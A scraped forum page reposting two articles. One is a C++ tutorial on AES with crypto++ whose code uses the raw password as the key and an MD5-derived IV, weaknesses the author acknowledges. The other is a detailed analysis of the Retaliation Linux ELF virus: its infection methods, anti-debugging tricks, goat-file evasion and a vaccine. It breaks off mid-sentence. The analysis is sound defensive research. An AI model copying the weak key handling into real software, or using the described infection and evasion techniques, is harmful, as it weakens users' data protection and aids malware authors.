-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
Using AES encryption in C++ 2014-11-26 11:22 by Jens Weller When it comes to encryption, there a few options you have in C++, a few years ago I implemented an RSA encryption based on the OpenSSL APIs, which was not too pleasant, but worked. For my current project, I was looking for something else, as I can add any dependency to my project. So this blog post is a short example of how to use AES with crypto++. The feedback from this blog post has shown, that this is not a very secure option, a very good alternative to this is libsodium, which offers good apis for encryption. I will later post a libsodium based interface. When looking for an encryption library in C++, there are at least 3 well known alternatives: crypto++, botan, and QCA. The last option is based on Qt, which in this case is for me not an option: I already use Qt a lot, but don't see the need in this case. For my current use case, I am using AES, as I need symmetric encryption, aka a way to encrypt data based on a password, and not a public key. Neither the C++ Standard nor boost provides a library, so with Qt not being an option, its crypto++ or botan. Both, crypto++ and botan are fairly easy to use, and seem to have similar designs. I ended up using crypto++, but botan seems to be as good. Also note, that I am not a crypto expert, you need to read into this before using. One current flaw that I see in my implementation, is that the passwords are only 32 bytes at max. Also, be aware that when you need to encrypt a pipe/datastream/socket, there are better options. Also, as botan and crypto++ predate C++11, they are written in a mildy modern C++. A basic AESEncryption class Currently, all I want is to encrypt strings with a certain password. So I need a type which gets initialized with a password and the interface is a fairly simple encode/decode function which takes a string that is en- or decoded: typedef std::string bytearray; class AESEncryption { bytearray pw,iv_encrypt,iv_decrypt; std::string error; std::unique_ptr<CryptoPP::CFB_Mode<CryptoPP::AES>::Encryption> encrypt; std::unique_ptr<CryptoPP::CFB_Mode<CryptoPP::AES>::Decryption> decrypt; public: AESEncryption(const bytearray& password, const bytearray& iv); bool encode(bytearray &text); bool decode(bytearray &cipher); std::string getError(){return error;} }; The interface is a bit more complex then just two functions and a constructor. The objects needed for en- or decryption are held in unique_ptrs, and only instantiated, when needed. (Maybe I just want to decrypt some data as a export method, or import data with this object?). Using pimpl could make this a bit more cleaner, so that the headers from crypto++ will not leak into any code using this class. As the encoding/decoding shows, I decided to go with the CFB mode of AES. The implementation of encode is then pretty simple: try { if(!encrypt) encrypt.reset(new CryptoPP::CFB_Mode<CryptoPP::AES>::Encryption); CryptoPP::MD5 hash; byte digest[ CryptoPP::MD5::DIGESTSIZE ]; std::string message = iv_encrypt + pw; hash.CalculateDigest( digest, reinterpret_cast<unsigned char*>(&message[0]), message.size() ); iv_encrypt = std::string(reinterpret_cast< char*>(digest),16); encrypt->SetKeyWithIV(reinterpret_cast<unsigned char*>(&pw[0]),pw.size(),digest); encrypt->ProcessData(reinterpret_cast<unsigned char*>(&text[0]),reinterpret_cast<unsigned char*>(&text[0]),text.size()); } catch(CryptoPP::Exception& e) { error = e.what(); return false; } return true; I construct the encrypt object once, then the InitializationVector(iv) of the AES Algorithm needs to be constructed. It has the size of the AES Block: 16 bytes. As I don't share this with the decoding at any point, it needs to depend on the password too. Otherwise, it would be wise not to this. I've chosen to go with the MD5 checksum, as it gives me a fairly distributed 16 byte hash. The key and iv is then set with the SetKeyWithIV method, before the actual encryption happens in process data. All buffers handled here are unsigned char, so that the content of the std::string needs to be casted via reinterpret_cast. This is only safe from C++11 on, as it guarantees std::string to be an array. Also crypto++ does throw exception, as this class will be used with Qt, I decided to catch the exceptions, and return the state of success from the function. The decode method is nearly the same, except that it needs to construct a Decryption object: if(!decrypt) decrypt.reset(new CryptoPP::CFB_Mode< CryptoPP::AES >::Decryption); And this is already the whole example on how to use AES in C++, most work is done by crypto++. Sursa: Using AES encryption in C++ - Meeting C++
-
An unofficial analysis of the Retaliation Virus (Authored by JPanic) Ryan O'Neill November 2014 [TABLE] [TR] [TH]Virus name:[/TH] [TD]Retaliation[/TD] [/TR] [TR] [TH]Author:[/TH] [TD]JPanic[/TD] [/TR] [TR] [TH]Architecture/platform:[/TH] [TD]Linux x86_64[/TD] [/TR] [TR] [TH]Binary format:[/TH] [TD]ET_EXEC, ET_REL[/TD] [/TR] [TR] [TH]Style:[/TH] [TD]Polymorphic and binary file resident [/TD] [/TR] [/TABLE] Creating goat files What files does the Virus target? ELF Infection methods ELF Infection methods - Executables ELF Infection methods: "prelink" executables ELF Infection methods: Relocatables [*]Direct ActionInfection [*]AVaccine for preventing infection [*]Stripped ELF Binaries [*]Encrypted blocks of code [*]Encrypted .data section [*]Signal Handlers [*]Anti-ptrace/debug techniques used by the Virus ptrace detection SIGTRAP detection SIGTRAP handler and breakpoint calls SIGTRAP handler treats 0xf1 breakpoint (ICEBP) as syscall instruction Breakpoint detection [*]PLT/GOT function hooking [*]Random Decoding Algorithm (RDA) [*]Activation Routine [*]Polymorphic Engine [*]Final Words I recently had the opportunity to do some analysis of a new ELF virus authored by JPanic. After spending some time looking at it, I was impressed and quite to my surprise. This is perhaps the most well thought out and dangerously effective ELF binary virus that I have seen yet. I would like to discuss some of the findings associated with analysis, and thus produce a profile on the Virus named 'Retaliation' Retaliation is an unusually large virus at 25,584 bytes of which 14,938 bytes are dedicated to the viruses complex polymorphic engine. The load size in memory is 34,492 bytes plus an additional 8 to 16 megabytes of dynamically allocated memory. In all 3 infection methods ELF64 files are used: an appending method for executables, an 'inserting' method for relocatables and a hybrid method for executables processed with the 'prelink' utility. The virus makes many attempts to hamper analysis, detection and disinfection. This includes a great deal of anti-debugger, anti-analysis, and anti-emulator code. A distinct feature of the virus is that it is split up into 275 individual, re-entrant polymorphic encrypted blocks. A total of 18,183 bytes of code (71% of the virus) are contained in these blocks. Other techniques used include advanced polymorphy, EPO (entry-point obscuring), encryption and patching of the host file, goat file detection and the classic RDA - Random Decoding Algorithm used to protect disinfection data. ELF samples: Name: jp-retal-e Type: ET_EXEC Name: jp-retal-o.o Type: ET_REL Creating goat files The retaliation virus does a good job at preventing Goat files; that is files that you want to intentionally infect to aid you in reverse engineering the properties of the virus. I'm not certain of the exact time values but the Virus requires that the system has an uptime of around 20 minutes and was installed atleast 3 months ago. It also requires that the binaries are of atleast a certain age (I set them back by to the beginning of the year). This last test of file age is omitted in the case of relocatable files. Copy the following script into a directory of ELF binaries and run it. Then copy the Virus sample into the directory and run it. The files should get infected, assuming the system has been up for around 20 minutes. --- create goats --- #!/bin/bash sudo touch -d 01/01/2014 /etc/hostname find . -name '*' -exec touch -d 01/01/2014 {} \; The Virus doesn't seem to infect files with periods in the name, or files that have sequences such as file-01, file-02, file-03. When I created 3 or more files like this, none of them were infected. But as soon as I deleted the third one, the first two were infected. Similarly the same test is applied to the size of files to be infected, in an effort to avoid files with sequential or static file sizes. A final additional test is avoiding files with the same .text section. If four files in a row are infected with the same .text body (going by CRC32b) the virus shuts down and stops infecting. What files does the Virus target? I had to use VM snapshots to find out exactly what files it attacks. It seems to look to infect in /bin and /usr/bin (If it has permissions) and then it goes for $CWD. When a program is infected, it transfers control to the virus, the virus performs infection and passes control back to the original entry point when done. More information in 'direct action infection' below. ELF Infection methods Retaliation uses 3 separate infection routines, depending on the type of file being infected. Infected file types are ELF64 executables, ELF64 executables that have been processed with the "prelink" tool, and ELF64 relocatables. During infection a temporary copy of the victim is used. If infection is succesful the victim is replaced with the temporary copy. The virus overwrites the victim with the temporary copy in this case, instead of unlink'ing and renaming. This stops certain tools such as 'cp' from reporting that the first inode of the file has changed during execution. The virus attempts to preserve file modes and timestamps. The virus takes some care in its choice of victims. The virus does not infect files larger than 8mb, executables smaller than 8kb or relocatables smaller than 2kb. It does not infected executables less than 180 minutes old. File names with a period (".") or extension are skipped, unless the extension is "*.o". In addition the virus makes several checks for "goat" files as discussed above. ELF Infection methods - Executables Infection of ELF64 executables is quite straight forward. First the virus inspects the ELF Header for 64-bit, little endian, AMD-64 executables. The virus also checks that the first four bytes of EI_PAD are zero's - this is where the virus stores its infection marker. The virus also does not infect executables containing the string "TSM!" in their .data section. This stops the virus from infecting executables that have had an infected relocatable linked into them - see section of infection of relocatables further in this profile. Infection after this is quite straight forward. The virus loops inspecting the ELF64 Phdr's, checking them for validity, saving the offset of the PT_NOTE entry, and storing the maximum alignment andmaximum virtual address used by any PT_LOAD segment. If all is good, the virus appends itself to the host, and converts the PT_NOTE entry to a PT_LOAD containing the appended virus body The PT_LOAD segment varies considerably in size, but is always +RWE and has an alignment and virtual address taken from the other PT_LOAD segments in the host (see "readelf" output below). The virus modifies the entry point (e_entry) to gain control when the host is executed. The virus then patches cetain instructions in .text and encrypts .data - see below for more information on this. Finally the virus parses .dynamic, .rela.dyn and .plt to install 13 .got.plt hooks - see section on .got.plt hooks below. The virus may have upto 4 layers of polymorphic encryption in infected executables. Modifies entry point ehdr->e_entry ryan@reverse:~/retal/samples$ readelf -h infected.elf ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 54 53 4d 21 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x80f56f # Points to virus code Start of program headers: 64 (bytes into file) Start of section headers: 8536 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 30 Section header string table index: 27 Converts PT_NOTE program header type to PT_LOAD Elf file type is EXEC (Executable file) Entry point 0x80f56f There are 9 program headers, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 0x00000000000001f8 0x00000000000001f8 R E 8 INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 0x000000000000001c 0x000000000000001c R 1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x0000000000001244 0x0000000000001244 R E 200000 LOAD 0x0000000000001e28 0x0000000000601e28 0x0000000000601e28 0x0000000000000208 0x0000000000000218 RW 200000 DYNAMIC 0x0000000000001e50 0x0000000000601e50 0x0000000000601e50 0x0000000000000190 0x0000000000000190 RW 8 LOAD 0x0000000000003129 0x0000000000803129 0x0000000000803129 # This PT_LOAD segment contains virus code 0x000000000000d9a3 0x000000000000f4b3 RWE 200000 # Notice RWE (rwx) for polymorphic code GNU_EH_FRAME 0x0000000000001170 0x0000000000401170 0x0000000000401170 0x000000000000002c 0x000000000000002c R 4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 8 GNU_RELRO 0x0000000000001e28 0x0000000000601e28 0x0000000000601e28 0x00000000000001d8 0x00000000000001d8 R 1 List of 32-bit values used to mark E_PAD as infected '[jp]' '[JP]' 'JKP!' 'NOP!' 'IR/G' '7DFB' 'Sep!' 'TSM!' ELF Infection methods: "prelink" executables When infecting ELF64 executables processed by the "prelink" utility the virus takes special action. This is because these files contain "undo" information and "prelink -u" (undo) will emit an error message if the file has been modified. The virus still does everything above in infection of executables. That is... appending the virus, converting PT_NOTE to PT_LOAD, hooking e_entry, installing .got.plt hooks, patching .text and encrypting .data. But now the virus must do more. First the virus checks for the presence of section ".gnu.prelink_undo". This tells the virus that the host is a "prelink" executable and gives the location of the "undo" information. Sinces "prelink" works on the host with sections (Elf64 Shdr's) not segments (Elf64 Phdr's), a new section must be created containing the appended virus body and with the same corresponding values as the new PT_LOAD segment. To do this the virus reads in the entire executable as an array of headers and sections. The new virus section has no name, and is "inserted" as 3rd to last - just before .gnu.prelink_undo and e_shstrndx. Finally the virus modifies all headers held in .gnu.prelink_undo to correspond to new 'infected' values and writes the newly infected host section by section. Now "prelink -u" can be called succesfuly on the victim with no error message or corruption of the victim. Incidently, doing this produces a new type of infection - infected "prelink" executables that have had all prelink information removed. [(prelinked executable before infection) readelf -S host] Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000060 0000000000000018 A 18 1 8 [ 6] .gnu.liblist GNU_LIBLIST 0000000000400318 00000318 0000000000000028 0000000000000014 A 18 0 4 [ 7] .gnu.version VERSYM 0000000000400356 00000356 0000000000000008 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400360 00000360 0000000000000020 0000000000000000 A 18 1 8 [ 9] .rela.dyn RELA 0000000000400380 00000380 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 0000000000400398 00000398 0000000000000048 0000000000000018 A 5 12 8 [11] .init PROGBITS 00000000004003e0 000003e0 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400400 00000400 0000000000000040 0000000000000010 AX 0 0 16 [13] .text PROGBITS 0000000000400440 00000440 0000000000000172 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 00000000004005b4 000005b4 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 00000000004005c0 000005c0 0000000000000010 0000000000000000 A 0 0 4 [16] .eh_frame_hdr PROGBITS 00000000004005d0 000005d0 0000000000000034 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400608 00000608 00000000000000f4 0000000000000000 A 0 0 8 [18] .dynstr STRTAB 00000000004006fc 000006fc 0000000000000059 0000000000000000 A 0 0 1 [19] .gnu.conflict RELA 0000000000400758 00000758 0000000000000210 0000000000000018 A 5 0 8 [20] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [21] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [22] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [23] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 18 0 8 [24] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [25] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [26] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [27] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 [28] .comment PROGBITS 0000000000000000 00001040 0000000000000024 0000000000000001 MS 0 0 1 [29] .gnu.prelink_undo PROGBITS 0000000000000000 00001068 0000000000000978 0000000000000001 0 0 8 [30] .shstrtab STRTAB 0000000000000000 000019e0 0000000000000135 0000000000000000 0 0 1 [31] .symtab SYMTAB 0000000000000000 00002358 0000000000000618 0000000000000018 32 45 8 [32] .strtab STRTAB 0000000000000000 00002970 0000000000000236 0000000000000000 0 0 1 [(prelinked executable after infection) readelf -S host] Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000060 0000000000000018 A 18 1 8 [ 6] .gnu.liblist GNU_LIBLIST 0000000000400318 00000318 0000000000000028 0000000000000014 A 18 0 4 [ 7] .gnu.version VERSYM 0000000000400356 00000356 0000000000000008 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400360 00000360 0000000000000020 0000000000000000 A 18 1 8 [ 9] .rela.dyn RELA 0000000000400380 00000380 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 0000000000400398 00000398 0000000000000048 0000000000000018 A 5 12 8 [11] .init PROGBITS 00000000004003e0 000003e0 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400400 00000400 0000000000000040 0000000000000010 AX 0 0 16 [13] .text PROGBITS 0000000000400440 00000440 0000000000000172 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 00000000004005b4 000005b4 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 00000000004005c0 000005c0 0000000000000010 0000000000000000 A 0 0 4 [16] .eh_frame_hdr PROGBITS 00000000004005d0 000005d0 0000000000000034 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400608 00000608 00000000000000f4 0000000000000000 A 0 0 8 [18] .dynstr STRTAB 00000000004006fc 000006fc 0000000000000059 0000000000000000 A 0 0 1 [19] .gnu.conflict RELA 0000000000400758 00000758 0000000000000210 0000000000000018 A 5 0 8 [20] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [21] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [22] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [23] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 18 0 8 [24] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [25] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [26] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [27] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 [28] .comment PROGBITS 0000000000000000 00001040 0000000000000024 0000000000000001 MS 0 0 1 [29] PROGBITS 0000000000802ba6 00002ba6 // notice empty shdr to account for 3rd PT_LOAD 000000000000b1cf 0000000000000000 WAX 0 0 1 [30] .gnu.prelink_undo PROGBITS 0000000000000000 0000dd78 00000000000009b8 0000000000000001 0 0 8 [31] .shstrtab STRTAB 0000000000000000 0000e730 0000000000000135 0000000000000000 0 0 1 [32] .strtab STRTAB 0000000000000000 00002970 0000000000000236 0000000000000000 0 0 1 [33] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 As shown in the readelf output, the infected executable has an extra section that accounts for the 3rd PT_LOAD segment where the virus is stored. This helps prevent the Virus from being deleted in the event of a prelink -u (undo). Empty section names of type SHT_PROGBITS look suspicious of course, but so do many other things if you know what to look for. ELF Infection methods: Relocatables Retaliation will also infect ELF64 relocatables. The idea being that the infected 'object' file will be later linked into an executable, giving the virus an opportunity to run. When infecting relocatables, the same checks on the Elf64 header as with executables are performed. An additional infection marker - "TSM!" is inserted at the end of the relocatables .data section. This stops the virus from later performing 'executable' infection on executables that have been created with an infected relocatable. To infect relocatables the entire object is read in header-by-header, section-by-section. The polymorphic decryptor code is inserted at the end of .text. The encrypted virus body is inserted at the end of .data. The virus also inserts a zero-initialized variable into .bss, to stop the virus being called more than once. To gain control, a random symbol of type "STB_GLOBAL, STT_FUNC" is 'hooked'. When this hooked function is called, the polymorphic decryptor in .text saves the register then checks if the variable in .bss is zero. If so, the decryptor sets that variable to a non-zero values, allocates some memory +RWE using the sys_mmap2 syscall and decrypts the virus body from .data to this newly allocated memory, executes the virus, restores the registers and returns to the original function that the hooked symbol pointed too. This kind of infection can be difficult to detect as there is no obvious entry-point or location of the virus in executables that have been linked from infected relocatables. An executable could be linked from more than one infected relocatables, resulting in multiple infections in a single file. ET_REL infection in this sense is very cool... and I applaud the author of this Virus -- very nice work. Lets take a look at what a relocatable object looks like before and after infection: Original ryan@reverse:~/retal$ ls -lh test.o -rw-rw-r-- 1 ryan ryan 2.4K Nov 11 11:12 test.o Infected has grown by ~25k ryan@reverse:~/retal$ ls -lh test_infected.o -rw-rw-r-- 1 ryan ryan 28K Jan 1 2014 test.o test.o original functions f1 and f2 from my test.o file. 0000000000000000 <f1>: 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: cc int3 5: 5d pop %rbp 6: c3 retq 0000000000000007 <f2>: 7: 55 push %rbp 8: 48 89 e5 mov %rsp,%rbp b: 48 83 ec 10 sub $0x10,%rsp f: 89 7d fc mov %edi,-0x4(%rbp) 12: bf 00 00 00 00 mov $0x0,%edi 17: e8 00 00 00 00 callq 1c <f2+0x15> 1c: c9 leaveq 1d: c3 Notice that there is symbol f1, but no symbol f2 now. The code for f2 is still there (starting at offset 0x7) but no f2 symbol. 0000000000000000 <f1>: 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: cc int3 5: 5d pop %rbp 6: c3 retq 7: 55 push %rbp 8: 48 89 e5 mov %rsp,%rbp b: 48 83 ec 10 sub $0x10,%rsp f: 89 7d fc mov %edi,-0x4(%rbp) 12: bf 00 00 00 00 mov $0x0,%edi 17: e8 00 00 00 00 callq 1c <f1+0x1c> 1c: c9 leaveq 1d: c3 This is because the virus randomly hijacks a symbol of type STT_FUNC and modifies it to point at the Virus entry. Any calls to the original function will be patched/relocated at link time to point to the virus code. The symbol f2 has moved from offset 0x7 to offset 0xe3 test.o ryan@reverse:~/retal$ readelf -s test.o | grep f2 10: 0000000000000007 23 FUNC GLOBAL DEFAULT 1 f2 ryan@reverse:~/retal$ test_infected.o ryan@reverse:~/retal$ readelf -s test_infected.o | grep f2 10: 00000000000000e3 23 FUNC GLOBAL DEFAULT 1 f2 ryan@reverse:~/retal$ If we look at the relocation entries in test.o and grep for f2 ryan@reverse:~/retal$ readelf -r test.o | grep f2 0000000000d0 000900000002 R_X86_64_PC32 00000000000000d6 f2 - 4 What's at the address 0xd0 (the instruction actually begins at 0xcf) cf: e8 00 00 00 00 callq d4 <main+0xbd> This is a call with a relocation unit that will be patched at link time so that it points to the virus code. Direct ActionInfection Aside from using per-process residence (see PLT/GOT function hooking below), the virus also uses directaction infection per-run. During direct action infection the virus sets a timeout value of ~6 seconds and exits infection when this condition is met. To begin direct action infection the virus attacks the following files with 50% chance of attempting to infect each: /bin/cp /usr/bin/ld /bin/ls /usr/bin/gcc /usr/bin/ld.bfd /usr/bin/ld.gold /usr/bin/zip Next the virus attempts to infect all of the files in the current working directory ("."). Finally the virus attempts to infect all files in the following directories with 50% chance of attempting either: /usr/bin /bin AVaccine for preventing infection It would be most advised to prevent catching this virus at all if possible. It is extremely complicated and goes to great lengths to make disinfection very difficult. Currently the Virus checks to see if a file is already infected if it is not, then it won't infect it. This is very much like the type of Flu Vaccines that our government and society push us to get (To lower our vibration), but I can assure you that this Vaccine doesn't contain Mercury. Also very much like a real vaccine, this is only likely to protect a system from this strain only. Once the Virus author catches wind, I'm sure a slight variation could be easily launched into the wild that would bypass this Vaccine. Lets take a look at the ELF file header readelf -h test.infected ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 53 65 70 21 00 00 00 Notice that elfhdr->e_ident[EI_PAD] doesn't contain the usual 0's, but instead has a magic number 0x21706553 "Sep!". The 8 possible 32bit values that this can be are meant to mark a file as infected (These 8 values are listed above in section 'ELF Infection methods: executables'), but I think there may be a bug because filling e_ident[EI_PAD] with 0xDEADCODE seems to effectively mark an executable as already being infected, since the virus will not touch it after that. The Virus may or may not check specifically for the 8 different 32bit values found in goat files, but either way it is safe to say that the value 0xDEADCODE or any one of the 8 different 32bit values could be used to mark a file as infected. This means that the Vaccine solution is to inject one of these 32bit values into every binary on your system. Specifically in elfhdr->e_ident[EI_PAD] which is where the virus looks to determine infection. This will prevent any files with the vaccine from being infected. Get Reliation Vaccine here (Compiles on Linux x86_64) http://www.bitlackeys.org/retaliation/vaccine.c The vaccine works on individual files and will only modify a file if it is ELF. to make the entire /bin directory immune you could use the vaccine program with a command like this for file in /bin/*; do ./vaccine "$file" --silent; done Furthermore, infection may be prevented by stripping the section header table off of your ELF binaries. See the next section... Stripped ELF Binaries It has been observed that the retaliation Virus relies heavily on ELF section headers during the infection phase, which is partially what constitutes many of its sophisticated characterisics, such as encrypting the .data section and scanning the .text section for various opcodes. Since the virus relies on section headers for parts of the infection phase it will bail out if no section headers are found, and not follow through with the infection. This was observed by stripping the section headers of a goat file using 'stripx.c' (http://www.bitlackeys.org/projects/stripx.c) and running an infected executable in the same directory. The goat file was not infected. This of course means that another vaccination approach would be to run stripx against all files in /bin and /usr/bin. Executables do not need section headers in order to run, because the kernel and dynamic linker only uses the program headers. Nevertheless you should consider the consequences of doing this because any potential debugging you may want to do on your binaries in the future will be more difficult without section headers. In either case, it is highly unlikely that you will ever be infected with this Virus, and all of this talk on Vaccines are merely for research entertainment. Encrypted blocks of code The Virus is divided into many indepently encrypted, re-entrant blocks of code. In all there are 275 of these blocks, containing 71% of the virus code. The virus does not save the simple encryption key, but a random number genrator seed to be passed to a simple polymorphic engine for decryption and encryption. Note that this 'simple' polymorphic engine is seperate from the main polymorphic engine used to encrypt the entire virus in infected files. The format for an encrypted block of code is as follows: CALL to decrypt function (or invalid opcode 0x27 - see below). 8-bit entry count for recursive calls. 32-bit seed used to generate decryptor/encrytor by simple polymorphic engine. 16-bit length of encrypted block. <CODE TO BE ENCRYPTED> CALL to encrypt function (or invalid opcode 0x2f). Encryption begins at part 5. above to the end of part 6. - this means that the final call to encrypt is encrypted too. The encryption generated from the 32-bit seed starting with a random key and consisting of any permutation of 10 of the following 32 two byte instructions (chosen using a 32-bit linear congruential random number generator): rol dl,1 rol dh,1 rol edx,1 rol dl,cl rol dh,cl rol edx,cl add dl,cl sub dl,cl xor dl,cl add dh,cl sub dh,cl xor dl,cl add edx,ecx sub edx,ecx xor edx,ecx bswap edx mov dl,dl add dl,dh sub dl,dh xor dl,dh not dl not dh not edx neg dl neg dh neg edx inc dl inc dh inc edx rol edx,cl add edx,ecx bswapedx Note that %ecx is the count and %edx is the key that is combined with the plain text in %eax. In addition to %ecx and %edx, a part of the viruses anti-debugging code is combine with they key in an attempt to stop patching. This table of 2-byte instructions is encrypted in the virus body. Encrypted .data section This can be analyzed in-depth but a quick objcopy of the .data section with an md5sum will demonstrate this. The encryption algorithm used for this task is BTEA-128. ryan@reverse:~/retal/tests$ objcopy --only-section=.data test1 data1 ryan@reverse:~/retal/tests$ objcopy --only-section=.data test1.infected data1.infected ryan@reverse:~/retal/tests$ md5sum data1 data1.infected 06be278d9bd5ab34ed6d2f919a04d717 data1 9aa5e5dc1f92a2038afa17fe59d24628 data1.infected ryan@reverse:~/retal/tests$ Signal Handlers The virus installs two signal handlers - SIGILL and SIGTRAP - which are both used for multiple purposes as described below. Additionally two glibc calls (Signal and Sigaction) are hooked to stop the host from replacing these handlers. If either handler fails two install, the virus will display the following message: Strange signals you have.. very strange And terminates the host with error code 42. (SIGILL handler nanomites) Modifies the .text section; certain instructions are patched with illegal opcodes The retaliation Virus is extremely clever, and complicated. It will actually patch certain instructions (Which I have documented as shown with objdump) with illegal opcodes. The virus sets up a signal handler for SIGILL, which catches the illegal opcodes and emulates the original instruction that was there. This makes disinfection extremely difficult since the disinfector would have to reliably restore the code in the .text with the original instruction. From what I can tell there are only 2 different instruction sequences that get replaced although there could be more that simply didn't manifest in my infected goat file samples Opcodes that get patched with illegal opcodes: push %rbp mov %rsp, %rbp This can be seen with objdump when comparing the original binary with the infected one From original binary 0000000000400583 : 400583: 55 push %rbp 400584: 48 89 e5 mov %rsp, %rbp From infected binary 0000000000400583 : 400583: 61 (bad) 400484: 17 (bad) The second four byte instruction sequence to be patched with an illegal opcode is: cmp %rax,-1 When patching the virus can generate nearly all of the possible one byte or two byte illegal opcodes in the x64 instruction set. The virus identifies which of the two sequence of instructions has been patched by folding the four bytes to a 16-bit value with an XOR to produce a checksum value. The two 16-bit values used to identify the patched sequences change randomly every time the virus is run. The SIGILL handler provides a second function. Several blocks of encrypted code make the call to decrypt them and re-encrypt them using illegal opcodes 0x27 and 0x2f respectively. Encrypted blocks of code that are used before the SIGILL handler is installed use 0xe8 (CALL imm32) instructions instead. In all there are 209 encrypted blocks using these illegal opcodes. If the illegal opcode does not appear to be generated by the virus (it is not in .text with the correct 16-bit checksum, or it is not 0x27 / 0x2f in the viruses body) the following message will be displayed: Illegal Instruction. But what really is 'Illegal'? Look at vxheavens.com.. kidz with ill skillz get harrassed by cops still. Anti-ptrace/debug techniques used by the Virus The Virus prevents ptrace based debugging using several techniques that I can see. I crafted several special programs that I infected to confirm this. ptrace detection One can see in the initial output of a strace (Before the virus realizes its being traced) that it uses prctl(PR_SET_PTRACER, getpid()) then forks a process which then attempts to do a ptrace(PTRACE_ATTACH, getppid()). The reason for the prctl() is to bypass protection set by /proc/sys/kernel/yama/ptrace_scope which would normally prevent a child from tracing its parent. If the ptrace call fails, then obviously the program is already being ptraced and the Virus either A. exits cleanly, or B. with 1/3 probability goes into a fit and randomly executes different syscalls with garbage args, infinitely. SIGTRAP detection I wrote a program that calls __asm__("int3") to confirm my suspicion. When infecting this program and running it. The virus signal handler catches the breakpoint SIGTRAP and prints the message with the Virus and Author name, followed by a cheeky statement "Break me, Break it, and break it again.". In other words... good luck setting breakpoint SIGTRAP handler and breakpoint calls The Virus code itself has numerous breakpoints within it, and handles them in a very special way When a SIGTRAP is delivered (That originates from the Virus) it is treated as a call instruction with a 16bit displacement. This technique (Sometimes called nanomites) helps to obfuscate control flow, and makes debugging even harder. The 16-bit displacement is XOR'd with 0xf242. SIGTRAP handler treats 0xf1 breakpoint (ICEBP) as syscall instruction The Virus code uses 0xf1 to represent a 'syscall al' instruction. This is another technique that obfuscates the ability to understand the virus code and when it is calling system calls since we won't see the traditional syscall calling conventions. The 8-bit system call number is XOR'd with 0x55 and rotated right 3 bits. In all the 